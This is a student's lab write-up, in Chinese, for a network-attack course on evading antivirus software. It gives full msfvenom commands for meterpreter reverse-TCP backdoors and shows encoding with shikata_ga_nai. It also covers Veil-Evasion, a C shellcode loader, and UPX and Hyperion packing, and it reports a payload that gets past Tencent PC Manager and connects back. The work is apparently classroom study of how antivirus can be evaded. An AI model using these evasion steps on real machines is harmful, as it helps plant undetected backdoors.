2018-2019-2 网络对抗技术 20165202 Exp3 免杀原理与实践
博客目录
- 一、基础问题回答
- 二、实践内容
- 1.使用msf编码器msfvenom生成后门程序
- 2.使用msf编码器msfvenom生成jar文件
- 3.使用veil-evasion生成后门程序及检测
- 4.C语言调用Shellcode
- 5.加壳工具使用
- 三、实验中遇到的问题及解决
- 四、开启杀软能绝对防止电脑中恶意代码吗?
- 五、实验总结
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:
杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据已检测出或网络上公布的病毒,对其提取特征码,记录成病毒库,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
启发式恶意软件的检测:
将一个软件与杀毒软件记录过的恶意软件的行为、代码等等作比对,如果发现相似度达到某一值时,随即判定这个程序为恶意代码,有一定误报可能。
基于行为的恶意软件检测:
在程序运行的状态下(动态)对其行为进行监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉;
(2)免杀是做什么?“免杀”的杀是指杀毒软件、病毒搜索检测引擎等,“免杀”是指想要一段程序能够成功避开或者是伪装下通过杀毒软件的检测,进入系统。
(3)免杀的基本方法有哪些?
- 改变特征码
- 对exe可执行文件加壳:压缩壳 加密壳
- 用encode对shellcode进行编码,或者基于payload重新编译生成可执行文件
- 将源代码用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式:尽量使用反弹式连接,使用隧道技术,加密通讯数据
- 操作模式:基于内存操作。减少对系统的修改,加入混淆作用的正常功能代码
- 其他方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
- 手写一个恶意软件
二、实践内容
环节一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
1.使用msf编码器msfvenom生成后门程序
使用实验二中指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.129 LPORT=5202 -f exe > 20165202.exe生成后门可执行文件,分别使用使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。


可以看到如果不加任何处理,后门程序能够被大多数杀软检测到,下面使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
一次编码使用命令:
-e选择编码器,-b是payload中需要去除的字符,msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.153.129 LPORT=5202 -f exe > met-encoded.exe

十次编码使用命令:-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.153.129 LPORT=5202 -f exe > 5202met-encoded.exe
将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

我们发现多次编码对免杀没有太大的效果,原因如下:
shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软进行特征查杀你就gg了
2.使用msf编码器msfvenom生成jar文件
使用
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.153.129 LPORT=5202 x> 5202backdoor.jar生成文件

扫描结果

3.使用veil-evasion生成后门程序及检测
安装veil
使用
sudo apt-get install veil-evasion命令安装Veil

之后输入
veil打开veil,输入y继续安装直至完成

成功的话,输入veil指令,会出现下面这个界面(很遗憾,在折腾了四个小时后我还是“未展开对象”。尝试update等方法失败后,我选择了拷贝虚拟机,导致后面部分IP变了,sry老师....)
用
use evasion命令进入Evil-Evasion
输入命令
use c/meterpreter/rev_tcp.py使用c语言,进入配置界面设置反弹连接IP,命令为:
set LHOST 192.168.199.206,注意此处的IP是KaliIP;设置端口,命令为:
set LPORT 5202输入
generate生成文件,接着输入你想要playload的名字:payload5202
如上图所示,保存路径为/var/lib/veil/output/compiled/payload5202.exe

检测结果


4.C语言调用Shellcode
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.206 LPORT=5202 -f c用c语言生成一段shellcode;- LHOST:攻击机IP
- LPORT:反弹连接端口
- c:生成一个c语言格式的Shellcode数组

创建一个C文件:5202.c,将上面生成的数组copy到该文件下,并加入一个主函数:
unsigned char buf[] =
生成的shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用命令:i686-w64-mingw32-g++ 20165202.c -o 20165202.exe编译.c文件为可执行文件;

检测结果如下

5.加壳工具使用
壳主要分为:
压缩壳
减少应用体积,如ASPack,UPX
加密壳
版权保护,反跟踪。如ASProtect,Armadillo
虚拟机
通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
使用压缩壳(UPX)
给20165202.exe加个壳得到5202_upxed.exe:

检测结果


查看连接情况,可以反弹连接

测试是否免杀


加密壳Hyperion
将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/目录中进入目录
cd /usr/share/windows-binaries/hyperion/输入命令
wine hyperion.exe -v 5202_upxed.exe 5202_upxed_Hyperion.exe进行加壳:

检测结果

环节二:通过组合应用各种技术实现恶意代码免杀
参考上一环节中upx的使用,通过使用msfvenom获得shellcode,编译生成可执行文件,外套upx壳实现免杀
被控机系统:win10 装有腾讯电脑管家13.3.202版本

环节三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
由于测试ping不成功,我更换了网络和虚拟机网络连接方式。导致IP变为192.168.153.131,我重新获得新的shellcode并做了新的20165202+.exe具体方式还是外套upx

被控机:win7虚拟机 使用腾讯电脑管家13.2版本


无毒 妙阿

来试试回连 也ok?

三、实验遇到的问题及解决方法
1.apt-get损坏
当运行sudo apt-get install/update/或其他命令时,由于各种说不清的原因有时会出现如下提示:
E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不可用)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?
参考linux公社下文章Ubuntu E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不可用)进行尝试

第二种无效,第一种我杀了进程有了更大的的问题....
显示apt-get出错,由于出现了太多错误,处理过程被终止了。这可还行???
继续参考 大量dpkg依赖错误使用以下方法
第一步:备份
$ sudo mv /var/lib/dpkg/info /var/lib/dpkg/info.bk
第二步:新建
$ sudo mkdir /var/lib/dpkg/info
第三步:更新
$ sudo apt-get update
$ sudo apt-get -f install
第四步:替换
$ sudo mv /var/lib/dpkg/info/* /var/lib/dpkg/info.bk
//把更新的文件替换到备份文件夹
第五步:删除
$ sudo rm -rf /var/lib/dpkg/info
//把自己新建的info文件夹删掉
第六步:还原
$ sudo mv /var/lib/dpkg/info.bk /var/lib/dpkg/info
//把备份的info.bk还原
终于修复了apt-get...但是,upgrade之后我的veil还是失败了...来我们到第二个问题
2.veil无法安装
我相信很多同学都遇到了这个问题,在尝试了upgrade和apt-get evil-vision等方法无果后...我选了拷贝虚拟机...真香
3.ping不通

这个问题不难,在PKI实验里面也有遇到。更换网络连接方式(nat、桥接模式)即可
四、开启杀软能绝对防止电脑中恶意代码吗?
不能,通过实践我们不难发现。尽管杀软能够抵御大多数后门偷袭,但是对于一些“隐蔽性强”的后门还是难以做到全面查杀。这也提醒我们一定要提高安全意识,不能只靠杀软保护我们的计算机。
五、实验总结
通过这次实验可以了解到,实现免杀的技术真的很多很多,模板之类的数不胜数不说,更有很多dalao可以手工编译,瞬间感觉这次试验只是一个幼儿园小朋友的尝试……这个过程中遇到的最大问题就是veil的安装,这部分卡了很多时间,甚至还把我的upgrade搞坏了,虽然最终veil也没有装好,但我却收获了upgrade的修复方法,这何尝不是一种进步呢?体验过才是真的拥有了经验,当别人问我免杀是什么,如何实现的时候,我可以清楚地告诉他我尝试过的方法,有哪些失败与成功,这也是一种收获……
2018-2019-2 网络对抗技术 20165202 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- Java 面向对象之继承和重写OverWrite,重写和重载的区别,抽象类
01继承的概述 A:继承的概念 a:继承描述的是事物之间的所属关系,通过继承可以使多种事物之间形成一种关系体系 b:在Java中,类的继承是指在一个现有类的基础上去构建一个新的类,构建出来的新类被称作 ...
- Python day15装饰器基本理论,以及结合全局变量模拟session
装饰器(decorator):为其他函数添加附加功能 原则:1.不修改被修饰函数源代码 2.不修改被修饰函数的调用方式 装饰器=高阶函数+函数嵌套+闭包 import time def timmer( ...
- [ios]cocos2dx获取设备的当前预言
参考:http://blog.sina.com.cn/s/blog_923fdd9b0101fmpv.html http://bbs.9ria.com/thread-199313-1-1.html / ...
- TPCx-BB源码分析
Copy from: 一篇文章看懂TPCx-BB(大数据基准测试工具)源码 TPCx-BB是大数据基准测试工具,它通过模拟零售商的30个应用场景,执行30个查询来衡量基于Hadoop的大数据系统的包括 ...
- UVA - 11853 Paintball(dfs)
UVA - 11853 思路:dfs,从最上面超过上边界的圆开始搜索,看能不能搜到最下面超过下边界的圆. 代码: #include<bits/stdc++.h> using namespa ...
- 用Omniauth来Login with Facebook(Go-rails课程)
https://gorails.com/episodes/login-with-facebook?autoplay=1 大概看了一遍,留了视频的截图. https://gorails.com/epis ...
- 4-1 contag_tag:返回HTMLtag.
jquery已经过时,做一遍,了解其他知识点. contag_tag(name, content_or_options_with_block = nil, options = nil, &bl ...
- (转)nginx做转发时,带'_'的header内容丢失
原本在测试环境测试通过的APP,今天准备切到线上环境做最后测试,结果发现了错误.查看日志发现是APP端发送的http请求中的header内容丢失了.那么代码没有改动,怎么平白无故会丢失头信息? 于是想 ...
- Clear The Matrix CodeForces - 903F (状压)
大意: 给定4行的棋盘以及4种大小的正方形方块, 每种各有一定花费, 每次可以选一种方块放在棋盘上, 棋盘对应格子全变为'.', 求最少花费使得棋盘全部变成'.' 状压基本操作练习, 状态取12位, ...
- Mass Change Queries CodeForces - 911G (线段树合并)
链接 大意: 给定序列, 每次操作将区间[l,r]中的x全改为y, 最后输出序列 权值范围比较小, 对每个权值开一颗线段树, 每次将x合并到y上即可 #include <iostream> ...